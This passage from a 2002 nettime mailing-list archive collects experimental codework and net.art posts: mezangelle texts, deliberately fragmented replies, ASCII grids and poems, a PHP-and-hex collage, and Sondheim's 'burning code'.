s^^adinginslarre..t...........\n.....lI......gg..e.ut.....ncie.....ra.....  ..o ........==......\n.....l,m..........s...etadjam.sofropetra......anc.........tal...\n.....,.am..........exingingovaio.-.hernamm...+1;v..........rie..\n.......loout........ern.sin..i i.swathaverechav;..........trear.\n.........h. h i..ellinscran..sth. hisse..y(thet........wa.w.....\n............stawlJuali.tr tharawoR e e.eopeara.{)r..ored.tr.....\n..........es....epernat.illandiwitercodmsess.nging.sihy.........\n........wl........^^^^.ratintridlithistaw{) thill.......gt......\n......ld..........mw....erencinearri.ionois....  ..........gt...\n.....n........... ..........\"\";.....e.......... ................\ntheredc.rows=] = ssentr t,mp.unwidtio.-lefstawoRxamorsysland^^.\n\n//ncy^iThal..\n\n\n\n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz:\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\n\n\nDate: Tue, 13 Aug 2002 08:00:49 +1000\nTo: syndicate {AT} anart.no, o-o {AT} konf.lt, nettime-l {AT} bbs.thing.net\nFrom: \"app][lick.ation][end.age\" <netwurker {AT} hotkey.net.au>\nSubject: ::.][afta][B.urn N.scription::\n\n\n\n\n\n\n-\n::.afta.Burn(i)n(g the re::peat).Script.ion::\n-\n\n-\n::ch][l][o][o][king ap.(net.states) Pend(ing)ages::\n-\n\n-\n::flip.yr.off(milked).loadings::\n-\n\n-\n::limping in a nicht.less 3(D)See.Gee.Eye::\n-\n\n-\n::suc.king.(ave)vat(argh)s.in.(con)versions::\n-\n\n\n\n\n\n\n.           .    ....         .....\ncollapsing adj[thr]usting.txt\n.\n.\napp][lick.ation][end.age\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.macros-center.ru/read_me/inexen.htm#re\n.... .               .???  .......\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nDate: Tue, 13 Aug 2002 13:04:24 +0200\nFrom: =?ISO-8859-1?Q?=A4?= <mi_ga {AT} o-o.lt>\nSubject: Re: ::.][afta][B.urn N.scription::\n\n\n\napp [li k.ati n][ nd.a   w ote:\n >  ]   c         e    ge\n >            o            r\n >\n >\n >\n > -\n > : .af a.Bur (i) (g t   r ::peat).Script.ion::\n > -:   t         n    he\n >            n            e\n > -\n > : ch] l][o] o][ ing   .( et.states) Pend(ing)ages::\n > -:   [         k    ap\n >            [            n\n > -\n > : fli .yr.o f(m lked  lo dings::\n > -:   p         i    ).\n >            f            a\n > -\n > : lim ing i  a  icht  es  3(D)See.Gee.Eye::\n > -:   p         n    .l\n >            n            s\n > -\n > : suc king. ave vat(  gh s.in.(con)versions::\n > -:   .         )    ar\n >            (            )\n >\n >\n >\n >\n >\n > .           .    ...          .....\n > c lla sing  dj[ hr]u. in .txt\n > .o   p         t    st\n > .          a            g\n > a p][ ick.a ion [end  ge\n >  p   l         ]    .a\n > w w.c dc.vttedu host  et urker/\n > hwtp:d/www. acr/s-ce/ner ru/read_me/inexen.htm#re\n > .t.. /     .   o    nt??w  .......\n >  .   .     m         .  .\n                           ?\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nDate: Thu, 15 Aug 2002 19:40:13 +0200\nFrom: =?ISO-8859-1?Q?=A4?= <mi_ga {AT} o-o.lt>\nSubject: copy&paste engines or how do machines produce art pieces.\n\n\n\nMail D     ry    sys  m w   e:\n > The      nal   ssa   wa   ecei  d at Th   15 Aug  002\n > from     .95   1.2  ]\n >\n >    -     The   llo  ng    ress   had pe  anent f  al e\n > <roo     kno   dge  et>\n > <art     edg   kp.  tkn   edge  et>\n >          on:   0 H  t u   own)\n >\n >    -     Tra   rip  of    sion  ollows   ---\n > 550       <r    {AT} ar  now   ge.n  >... Ho   unknow  (Nam\n > 550       <a   now  dge   p.ar  nowledg  net>...  ost\n >\n >\n > ----     ---   ---  ---   ----  -------  -------  ----\n >\n > Repo     -MT   dns  her   n.mu  esius.d\n > Rece     Fro   TA:  NS;   94.9  111.215\n > Arri     ate   hu,  5 A   2002  0:33:07  0200\n >\n > Fina     ipi   : R  822   oot {AT}   tknowle  e.net\n > Acti     ail\n > Stat     .1.\n > Remo     A:    ; b  fh-   l.de\n > Last     mpt   te:  hu,    Aug  002 20:  :15 +02\n >\n > Fina     ipi   : R  822   rtkn  ledge {AT} a  .artkno  edge\n > Acti     ail\n > Stat     .1.\n > Remo     A:    ; a  .ar   owle  e.net\n > Diag     c-C   : S  P;     Hos  unknown\n > Last     mpt   te:  hu,    Aug  002 20:  :15 +02\n >\n >\n > ----     ---   ---  ---   ----  -------  -------  ----\n >\n > Subj\n > tt\n > From\n > ? <m     o-o   >\n > Date\n > Thu,     ug    2 1  31:   +020\n > To:\n > root     t {AT} a   now  dge   t>\n >\n >\n > tt\n >\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nDate: Tue, 13 Aug 2002 20:20:39 +0100\nFrom: \"master_of_many_etwas {AT} o-o.lt\" <master_of_many_etwas {AT} o-o.lt>\nSubject: r_  ./d l  p        .   p   p   [   t      ck_of\n\nyawn.............yawnyawnyawnyawn.......yaaaaaaawwwn\n\n ap                                          a\n  _  >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>p\n  _                                          p\n  _   .hw a..c.      -:- -:- -:- -:- -:-\n  _  .tw p  o        :   :   :   :   :      ][\n  _   .tw p  l        s   l   f   c   .      l\n  _   .p. ]  l        u   i   l   h   a      i\n  _    :c [  a        c   m   i   ]   f\n r_  ./d l  p        .   p   p   [   t      ck\n  _    /d i  s        k   i   .   l   a      .\n  _    wc c  i        i   n   y   ]   .      a\n  _    w. k  n        n   g   r   [   B      t\n  _    wv .  g        g       .   o   u      i\n  o    .t a           .   i   o   ]   r\n  _  m. t  a        (   n   f   [   n      o n\n  _    ae i  d.       a       f   o   (      ]\n c_    cd o  j        v   a   (   ]   i      [\n  _    ru n  [        e       m   [   )\n  _   o/ ]  t        )   n   i   k   n      en\n  _    sh [  h        v   i   l   i   (      d\n  _    -o e  r.       a   c   k   n   g      .\n  _    cs n  ].       t   h   e   g          a\n  _    et d  u.       (   t   d       t\n  _   n/ .  s.       a   .   )   a   h      g\n h_  .tn a  t        r   l   .   p   e      e\n  _   ?ee g  i        g   e   l   .          w\n  s   ?rt e  n        h   s   o   (   r\n  _ ?.w    g        )   s   a   n   e      r o\n  _    ru    .        s       d   e   :      t\n  _    ur    t        .   3   i   t   :      e\n  _   ./k    x        i   (   n   .   p      :\n  _   .re    t        n   D   g   s   e\n i_   .er             .   )   s   t   a\n  _   .a/     .       (   S   :   a   t\n  _   .d      .       c   e   :   t   )\n  _   ._      .       o   e       e   .\n  _   .m      .       n   .       s   S\n  _    e      .       )   G       )   c\n  _    /              v   e           r\n  _    i              e   e       P   i\n vt    n              r   .       e   p\n       e              s   E       n   t\n       x              i   y       d   .\n       e              o   e       (   i\n       n              n   :       i   o\n       .              s   :       n   n\n       h              :           g   :\n       t              :           )   :\n e     m                          a\n       #                          g\n       r                          e\n       e                          s\n h                                :\n t                                :\n t\n p\n :\n /\n /\n w\n w\n w\n .\n o\n -\n o\n .\n l\n t\n /\n p\n o\n s\n t\n\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nDate:         Fri, 16 Aug 2002 23:45:07 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: burning code\n\nburning code\n\n\nnikuko the world is out to kill us off!\n________________________________________________\n/NIKUKO THE WORLD IS OUT TO KILL US OFF!         |\n]      ]]     |] ]]]\n|111111111111111111111111111111111111111111111111|\n|22]2]2222222222222]22222222]22222]22222222222222|\n|3333333]333333]3333333]3]3333]]33333333333333333|\n|444]44444444444]44444]4444444444]444444444444444|\n|]55555555]55555555555555555555555555555555555555|\n|66666]66666]]6666666]6666]666666666]]]6666666666|\n|77777777777777777777777777777777777777]777777777|\n|88888888]88888888888888888888888888888]888888888|\n|9]99999999999]999]9999999999]9999999999999999999|\n|________________________________________________|\ni will always be first at barricades!\n/I WILL ALWAYS BE FIRST AT BARRICADES!       ]]]]]\n|1111111]11]111111111111]1111111]1111]11111111111|\n|222222222222]2]22222]222222222]22222222]22222222|\n|3333]]33]333333333333]33]3]33333333]333333333333|\n|4444444444444444444444444444444444444]4444444444|\n|555555555555555]555555555555]555555555]555555555|\n|66]666666]6666666]666666666666666666666666666666|\n|7777777777777777777777777777777777777777]7777777|\n|88888888888]888888888888888]888888888888]8888888|\n|]99]99999999999999]]999999999999]]]9999999999999|\nnikuko, am afraid of universal slaughter!\n/NIKUKO, I AM AFRAID OF UNIVERSAL SLAUGHTER!\n|1111111111]11]11]1111111111111]1111]111111111111|\n|22]2]222222222222222222222222]222]22222222222222|\n|333333]333333333333333333333333]33]3333]33333333|\n|444]4444444]444444]4444]444444444444]44444444444|\n|]55555555555555555555555]5]]555555555555]5555555|\n|66666]66666666]66666]]66666666666666666666666666|\n|7777777777777777777777777777777777777]7777]77777|\n|888888]8888888888888888888888888888888]888]88888|\n|9]999999]999999]9]9999999]99]999999999999]999999|\nawake /AWAKE AWAKE\n|]1]111]1]111111111111111111111111111111111111111|\n|222]22222]22222222222222222222222222222222222222|\n|333333333333333333333333333333333333333333333333|\n|444444444444444444444444444444444444444444444444|\n|5555]55555]5555555555555555555555555555555555555|\n|6]66666]6666666666666666666666666666666666666666|\n|777777777777777777777777777777777777777777777777|\n|888888888888888888888888888888888888888888888888|\n|999999999999999999999999999999999999999999999999|\nwe must leave behind!\nWE MUST LEAVE BEHIND!         ]]]]\n|111111111111111111]11111111111111111111111111111|\n|22]2]22222222]222222222222222222]222222222222222|\n|333333]3333333]3]33333]333333]333333333333333333|\n|444]4444444]]44444444444444444]444444]4444444444|\n|]55555555]5555555]5]]555]55555555]55]55555555555|\n|66666]66]66666666666666666]]66666666666666666666|\n|888888]8888888888888888]8888888888]888]888888888|\n|9]99999999999999999999999999]999999]999999999999|\nawake, awake!\n/AWAKE, AWAKE!\n|]1]1111]1]11111111111111111111111111111111111111|\n|222]222222]2222222222222222222222222222222222222|\n|33333]333333333333333333333333333333333333333333|\n|5555]555555]555555555555555555555555555555555555|\n|6]666666]666666666666666666666666666666666666666|\n|777777777777]77777777777777777777777777777777777|\n|88888]888888]88888888888888888888888888888888888|\nyour mouth seizing mine!\n/YOUR MOUTH SEIZING MINE!\n|222222222222]2]222222222222222222222222222222222|\n|33333333]333333333333333333333333333333333333333|\n|44]44]4]44444444444444]4444444444444444444444444|\n|555555555555555]555]5555]]5555555555555555555555|\n|6]6666]66666666666666666666666666666666666666666|\n|77777777777777777777]77777]777777777777777777777|\n|]88888888]8888888888888888]888888888888888888888|\n|999]9999999]9999]]]9999]999999999999999999999999|\nin wires!\nBURNING IN YOUR WIRES!\n|11]111111111111111111111111111111111111111111111|\n|22222]2222222222222222222]2222222222222222222222|\n|444]44]44444444444]44444444444444444444444444444|\n|55555555]5]555]555555555]55555555555555555555555|\n|66666666666666666]666]66666666666666666666666666|\n|77777777777]77777777777777]777777777777777777777|\n|8888888888888888]888888888]888888888888888888888|\n|]999999]9]999]99999]99]]999999999999999999999999|\nNikuko, Nikuko!\nNIKUKO!\n|22]2]22222]2]22222222222222222222222222222222222|\n|333333]33333333333333333333333333333333333333333|\n|444]4444444]444444444444444444444444444444444444|\n|]5555555]555555555555555555555555555555555555555|\n|66666]6666666]6666666666666666666666666666666666|\n|77777777777777]777777777777777777777777777777777|\n|888888]8888888]888888888888888888888888888888888|\n|9]9999999]99999999999999999999999999999999999999|\n\n$ exit\n\ndone on 23:41:00 2002\n\n\n_\n\n\n\n\nDate:         Sat, 17 Aug 2002 18:47:32 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: julu expansion rit-raw\n\njulu expansion rit-raw\n\n\n... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... , .-.-.-, .-.-.-, --..--,\n... , .-.-.-, .-.-.-, --..--, ... , --..--, ... , ... , .-.-.-, .-.-.-,\n.-.-.-, ... , --..--, ... , .-.-.-, .-.-.-, --..--, ... , .-.-.-, --..--,\n... , .-.-.-, --..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--,\n... , .-.-.-, .-.-.-, --..--, ... , .-.-.-, --..--, ... , .-.-.-, --..--,\n... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... , .-.-.-, .-.-.-,\n--..--, ... , .-.-.-, --..--, ... , .-.-.-, --..--, ... , .-.-.-, .-.-.-,\n--..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... , ... ,\n.-.-.-, .-.-.-, .-.-.-, ... , --..--, ... , .-.-.-, .-.-.-, --..--, ... ,\n.-.-.-, .-.-.-, --..--, ... , --..--, ... , ... , .-.-.-, .-.-.-, .-.-.-,\n... , --..--, ... , .-.-.-, .-.-.-, --..--, ... , .-.-.-, .-.-.-, --..--,\n... , --..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... ,\n.-.-.-, .-.-.-, --..--, ... , .-.-.-, --..--, ... , .-.-.-, --..--, ... ,\n.-.-.-, .-.-.-, --..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--,\n... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... , .-.-.-, .-.-.-,\n--..--, ... , .-.-.-, .-.-.-, --..--, ... , --..--, ... , ... , .-.-.-,\n.-.-.-, .-.-.-, ... , --..--, ... , .-.-.-, .-.-.-, --..--, ... , .-.-.-,\n--..--, ... , .-.-.-, --..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... ,\n--..--, ... , .-.-.-, .-.-.-, --..--, ... , .-.-.-, .-.-.-, --..--, ... ,\n--..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... , .-.-.-,\n.-.-.-, --..--, ... , .-.-.-, .-.-.-, --..--, ... , --..--, ... , .-.-.-,\n.-.-.-, --..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... ,\n... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... , .-.-.-, .-.-.-, --..--,\n... , .-.-.-, .-.-.-, --..--, ... , --..--, ... , ... , .-.-.-, .-.-.-,\n.-.-.-, ... , --..--, ... , .-.-.-, .-.-.-, --..--, ... , .-.-.-, .-.-.-,\n--..--, ... , --..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--,\n... , .-.-.-, .-.-.-, --..--, ... , .-.-.-, --..--, ... , .-.-.-, --..--,\n... , .-.-.-, .-.-.-, --..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... ,\n--..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... , .-.-.-,\n.-.-.-, --..--, ... , .-.-.-, --..--, ... , .-.-.-, --..--, ... , ... ,\n.-.-.-, .-.-.-, .-.-.-, ... , --..--, ... , .-.-.-, .-.-.-, --..--, ... ,\n.-.-.-, .-.-.-, --..--, ... , --..--, ... , ... , .-.-.-, .-.-.-, .-.-.-,\n... , --..--, ... , .-.-.-, .-.-.-, --..--, ... , .-.-.-, .-.-.-, --..--,\n... , --..--, ... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... ,\n.-.-.-, .-.-.-, --..--, ... , .-.-.-, .-.-.-, --..--, ... , --..--, ... ,\n... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... , .-.-.-, .-.-.-, --..--,\n... , .-.-.-, --..--, ... , .-.-.-, --..--, ... , .-.-.-, .-.-.-, --..--,\n... , ... , .-.-.-, .-.-.-, .-.-.-, ... , --..--, ... ,\n\n\n===\n\n\n\n\n\n\n\n\nnettime unstable digest vol 7\nSun Aug 18 14:06:30 2002\n\n\nSubject: metamolecule\n    From: Soli Psis <solipsis {AT} HEVANET.COM>\n\nSubject: then:mustMeanteegraffICCaLL\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n\nSubject: 0\n    From: + p'tit lo_y r-cyclant + <loy {AT} MYREALBOX.COM>\n\nSubject: ::.][afta][B.urn N.scription::\n    From: \"app][lick.ation][end.age\" <netwurker {AT} hotkey.net.au>\n\nSubject: Re: ::.][afta][B.urn N.scription::\n    From: =?ISO-8859-1?Q?=A4?= <mi_ga {AT} o-o.lt>\n\nSubject: copy&paste engines or how do machines produce art pieces.\n    From: =?ISO-8859-1?Q?=A4?= <mi_ga {AT} o-o.lt>\n\nSubject: r_  ./d l  p        .   p   p   [   t      ck_of\n    From: \"master_of_many_etwas {AT} o-o.lt\" <master_of_many_etwas {AT} o-o.lt>\n\nSubject: burning code\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: julu expansion rit-raw\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\n    \n    \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 18 Aug 2002 14:08:07 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200208181757.NAA12932 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0208/msg00084.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 7"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00016",
                "content": "\n\nFrom: access4none {AT} excess4all.com\nSubject: 2-3 [1/7]\nDate: Sun, 28 Jul 2002 02:54:58 +0200\n\nanti-semitic {\n\n                        09333f40120e40485455471b142f4755561a5d4c53615320635a5737254e5f5c\";\n$z .= \"2961826f70626c30736a656b3569756a703a81807a7173817e427fa587887b854e4a7e7ca14e7788\";\n$z .= \"8557538e859a93589a9e90909a5e8798956293a16a0245343b3a440827414c404a0d32404d465019\";\n$z .= \"154d4f4c5a1a5d5a525c606321565f635a56645e5d672b72616f62646e393352676d376e696b3b85\";\n$z .= \"81433f7c79747a447b7a8d8c867d7f8d904e98945189838589935c58898b8f9d5d9193a16178a09f\";\n$z .= \"95560221354349082a3a3d430d504348114e4b5515494755561a375d615b5220575660685b265d5c\";\n$z .= \"6f5e6d606a332f726f32746477686e387d776e3c817a8183717f7686808489487d868a817d8b8584\";\n$z .= \"8e529c98559c8b998c8e98635c7d9d9ea3a5638b9d453f344206374c3b41100c4f3e45534512554c\";\n$z .= \"491d1644514e1b4d55616254362142542a2669605d2a6d60652e63686e66335c657273736d7b7379\";\n$z .= \"3d837d7d416a8278777e837c867a4b7c91904f668c848a88918e8b5d597a8b8d8e8e9a9061a6a097\";\n$z .= \"65244b46483e410f0920464e4b0e52444c46524b53534f4c5a4e1a5e55521f54595f2929256f6d5c\";\n$z .= \"61665b672d666b3053707064783673707c3a5a7a7b808240687a868075834c487c7e\n\n}\n\nyes you all suck\ni dont read your list\nif you knew how you bore me\ni dont read your list at all\nyou can go to where the internet grows\n\nall that im into is localhost/sondheim.php\nbut you don't know about these things\ndo you? no you dont, you\nspeak your own language\nin your own country\n\nand your books are boring\nand your congress was boring\nand your websites are boring\nand your government is full of shit and\nyou owe me an incredible amount of time\n\nlocalhost[localhost:cargo/data/sessions] kalie% ll\ntotal 32\ndrwxrwxrwx   6 rolux  admin  160 Jul 27 22:20 .\ndrwxrwxrwx  10 rolux  admin  296 Jul 27 16:15 ..\n-rwxrwxrwx   1 www    admin    9 Jul 27 22:05 1027800355527221.dat\n-rwxrwxrwx   1 www    admin    9 Jul 27 22:07 1027800442798875.dat\n-rwxrwxrwx   1 www    admin    9 Jul 27 22:12 1027800762071416.dat\n-rwxrwxrwx   1 www    admin    9 Jul 27 22:20 1027801254420279.dat\n[localhost:cargo/data/sessions] kalie% cat 1027801254420279.dat\nlocalhost[localhost:cargo/data/sessions] kalie%\n\nand all that im into is localhost/tonpere.php\n\"ein himmel auf berlin\" womit schon alles gesagt ist\nbut i know that you dont know him and that you never will\nund vom programmieren wird mir nicht mal mehr schlecht\nyou have a different problem now\n\n                       / members /faq / projects --------------------------------\n     if ($script == \"contact\" || $script == \"cargo\" || $script == \"members\" || $script == \"faq\" || $script == \"projects\") {\n       $file = file($path . \"data/home/$script.txt\");\n       for ($i = 0; $i < count($file); $i++) {\n         if (!$admin) {\n           echo $space . parse(chop($file[$i]));\n           if ($i < count($file) - 1)\n             echo \"<br><br>\";\n\nand i could save some webspace by\n\n      if (strstr(\"contact members faq projects\", $script) {\n\nand itd save me some hard disk space as well\n\n\"we are all the projects of the products that we have become\"\n\nim sorry i may have skipped your mail\ni was offline, \"travelling\", had a mailjam...\ni can scroll my inbox down to togo\n(yes, thats what he said, down to togo)\nand still i may have skipped your mail\nand by the way i skipped your magazine\nplease dont resend\n\n\"we are all the projects of the products that we have become\"\n\nthis is part one of hopefully not seven in an ongoing series\n\nand\nPLEAZE\ndont call me for papers\ncall me for BRICKS\n\n--\n\nallemand {\n\nund tonpere nochmal:\n\n<form action=\"http://www.google.com/search\";><font face=\"arial,sans-serif\" size=-1>&nbsp;This text has been <a href=\"http://www.google.com/help/faq_translation.html\";>automatically translated</a> from German:</font><br>\n&nbsp;&nbsp;<textarea name=q rows=5 cols=45 wrap=PHYSICAL>vendu</textarea>&nbsp;&nbsp;<input type=hidden name=hl value=\"en\"><input type=hidden name=ie value=\"ASCII\"><input type=hidden name=oe value=\"ASCII\"><input type=submit value=\"Google Search\"></form></td></tr>\n<tr bgcolor=#ffffff><td><form action=\"translate_t\" method=post><font face=\"arial,sans-serif\" size=-1>&nbsp;&nbsp;Translate text</font><br>&nbsp;&nbsp;<textarea name=text rows=5 cols=45 wrap=PHYSICAL>vertrieben</textarea><br>&nbsp;&nbsp;<font face=\"arial,sans-serif\" size=-1>from</font><select name=langpair>[...]<option value=\"de|fr\" selected>German to French</option>[...]</select><input type=hidden name=hl value=\"en\"><input type=hidden name=ie value=\"ASCII\"><input type=hidden name=oe value=\"ASCII\"><input type=submit value=\"Translate\"></form>\n\na la rechere du temps vendu | auch nicht schlecht\n\n}\n\n-------------------------------------------------------\nrohrpost - deutschsprachige Liste zur Kultur digitaler Medien und Netze\nArchiv: http://www.nettime.org/rohrpost http://post.openoffice.de/pipermail/rohrpost/\nEnt/Subskribieren: http://post.openoffice.de/cgi-bin/mailman/listinfo/rohrpost/\n\n\n\n\nDate:         Sat, 3 Aug 2002 11:33:31 +1000\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: :XYMark-Up Announces Closure of _.Org][an La][Ment_\n\n________________\n\n______\no.pen_th(is)en. exe\n______________________\n\n\n\n:XYMark-Up Announces Closure of _.Org][an La][Ment_\n\nSec.tor][que][ 3: (Aug[mented] 03, 210.50.68.52):\n\n:XYMark-Up Core.p][l][or][din][ation announced 2][ip][day that IT will\noffer a form.all appall.ogy 2 all meme.burrs of Org.ment aR(e)ticulation\n][Shell][ N-tity. The Org.ment aR(e)ticulation ][Shell][ N-tity has been\nop.Era.tional in 210.50.68.27. the reti.cull.ation of the .org ment cyst.M.\nhas failed due 2 (f)ill:code.d inte.(ar)gumental dis(e)ruptors.\n\n\n-----------------------------\n\n\n\n\n\n\n\n\n\n\n\n.           .    ....         .....\ncollapsing adj[thr]usting.txt\n.\n.\n][co][De][e][p.rivation\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.macros-center.ru/read_me/inexen.htm#re\n.... .               .???  .......\n\n\n\n\nDate:         Thu, 1 Aug 2002 02:02:25 -0700\nFrom: joe keenan <yajoeya {AT} YAHOO.COM>\nSubject: emphatic sky\n\ns s s s s s s s h e e r e e h s s s s s s s s s s s s s s s s s s\nh h h h h h h h h e e r e e h h h h h h h h h h h h h h h h h h h\ne e e e e e e e e e e r e e e e e e e e e e e e e e e e e e e e e\ne e e e e e e e e e e r e e e e e e e e e e e e e e e e e e e e e\nr r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r\ne e e e e e e e e e e r e e e e e e e e e e e e e e e e e e e e e\ne e e e e e e e e e e r e e e e e e e e e e e e e e e e e e e e e\nh h h h h h h h h e e r e e h h h h h h h h h h h h h h h h h h h\ns s s s s s s s h e e r e e h s s s s s s s s s s s s s s s s s s\nt t t t t t t t t t t n e r a p p a p p a r e n t t t t t t t t t\nn n n n n n n n n n n n e r a p p a p p a r e n n n n n n n n n n\ne e e e e e e e e e e e e r a p p a p p a r e e e e e e e e e e e\nr r r r r r r r r r r r r r a p p a p p a r r r r r r r r r r r r\na a a a a a a a a a a a a a a p p a p p a a a a a a a a a a a a a\np p p p p p p p p p p p p p p p p a p p p p p p p p p p p p p p p\np p p p p p p p p p p p p p p p p a p p p p p p p p p p p p p p p\na a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a\np p p p p p p p p p p p p p p p p a p p p p p p p p p p p p p p p\np p p p p p p p p p p p p p p p p a p p p p p p p p p p p p p p p\na a a a a a a a a a a a a a a p p a p p a a a a a a a a a a a a a\nr r r r r r r r r r r r r r a p p a p p a r r r r r r r r r r r r\ne e e e e e e e e e e e e r a p p a p p a r e e e e e e e e e e e\nn n n n n n n n n n n n e r a p p a p p a r e n n n n n n n n n n\nt t t t t t t t t t t n e r a p p a p p a r e n t t t t t t t t t\nb b b b b b b b b b b b b r i c k c i r b b b b b b b b b b b b b\nr r r r r r r r r r r r r r i c k c i r r r r r r r r r r r r r r\ni i i i i i i i i i i i i i i c k c i i i i i i i i i i i i i i i\nc c c c c c c c c c c c c c c c k c c c c c c c c c c c c c c c c\nk k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k\nc c c c c c c c c c c c c c c c k c c c c c c c c c c c c c c c c\ni i i i i i i i i i i i i i i c k c i i i i i i i i i i i i i i i\nr r r r r r r r r r r r r r i c k c i r r r r r r r r r r r r r r\nb b b b b b b b b b b b b r i c k c i r b b b b b b b b b b b b b\ny y y y y y y y y y y y y r t e m o n o g i r t r i g o n o m e t\nr r r r r r r r r r r r r r t e m o n o g i r t r i g o n o m e t\nt t t t t t t t t t t t t t t e m o n o g i r t r i g o n o m e t\ne e e e e e e e e e e e e e e e m o n o g i r t r i g o n o m e e\nm m m m m m m m m m m m m m m m m o n o g i r t r i g o n o m m m\no o o o o o o o o o o o o o o o o o n o g i r t r i g o n o o o o\nn n n n n n n n n n n n n n n n n n n o g i r t r i g o n n n n n\no o o o o o o o o o o o o o o o o o o o g i r t r i g o o o o o o\ng g g g g g g g g g g g g g g g g g g g g i r t r i g g g g g g g\ni i i i i i i i i i i i i i i i i i i i i i r t r i i i i i i i i\nr r r r r r r r r r r r r r r r r r r r r r r t r r r r r r r r r\nt t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t\nr r r r r r r r r r r r r r r r r r r r r r r t r r r r r r r r r\ni i i i i i i i i i i i i i i i i i i i i i r t r i i i i i i i i\ng g g g g g g g g g g g g g g g g g g g g i r t r i g g g g g g g\no o o o o o o o o o o o o o o o o o o o g i r t r i g o o o o o o\nn n n n n n n n n n n n n n n n n n n o g i r t r i g o n n n n n\no o o o o o o o o o o o o o o o o o n o g i r t r i g o n o o o o\nm m m m m m m m m m m m m m m m m o n o g i r t r i g o n o m m m\ne e e e e e e e e e e e e e e e m o n o g i r t r i g o n o m e e\nt t t t t t t t t t t t t t t e m o n o g i r t r i g o n o m e t\nr r r r r r r r r r r r r r t e m o n o g i r t r i g o n o m e t\ny y y y y y y y y y y y y r t e m o n o g i r t r i g o n o m e t\nl l l l l l l l l l l l i t i l l l l l l l l l l l l l l l l l l\ni i i i i i i i i i i i i t i i i i i i i i i i i i i i i i i i i\nt t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t\ni i i i i i i i i i i i i t i i i i i i i i i i i i i i i i i i i\nl l l l l l l l l l l l i t i l l l l l l l l l l l l l l l l l l\nh h h h h h h h h t i w i t h h h h h h h h h h h h h h h h h h h\nt t t t t t t t t t i w i t t t t t t t t t t t t t t t t t t t t\ni i i i i i i i i i i w i i i i i i i i i i i i i i i i i i i i i\nw w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w\ni i i i i i i i i i i w i i i i i i i i i i i i i i i i i i i i i\nt t t t t t t t t t i w i t t t t t t t t t t t t t t t t t t t t\nh h h h h h h h h t i w i t h h h h h h h h h h h h h h h h h h h\nt t t t t t h e h t t t t t t t t t t t t t t t t t t t t t t t t\nh h h h h h h e h h h h h h h h h h h h h h h h h h h h h h h h h\ne e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e\nh h h h h h h e h h h h h h h h h h h h h h h h h h h h h h h h h\nt t t t t t h e h t t t t t t t t t t t t t t t t t t t t t t t t\ne e e c n a t s i s s a s s i s t a n c e e e e e e e e e e e e e\nc c c c n a t s i s s a s s i s t a n c c c c c c c c c c c c c c\nn n n n n a t s i s s a s s i s t a n n n n n n n n n n n n n n n\na a a a a a t s i s s a s s i s t a a a a a a a a a a a a a a a a\nt t t t t t t s i s s a s s i s t t t t t t t t t t t t t t t t t\ns s s s s s s s i s s a s s i s s s s s s s s s s s s s s s s s s\ni i i i i i i i i s s a s s i i i i i i i i i i i i i i i i i i i\ns s s s s s s s s s s a s s s s s s s s s s s s s s s s s s s s s\ns s s s s s s s s s s a s s s s s s s s s s s s s s s s s s s s s\na a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a\ns s s s s s s s s s s a s 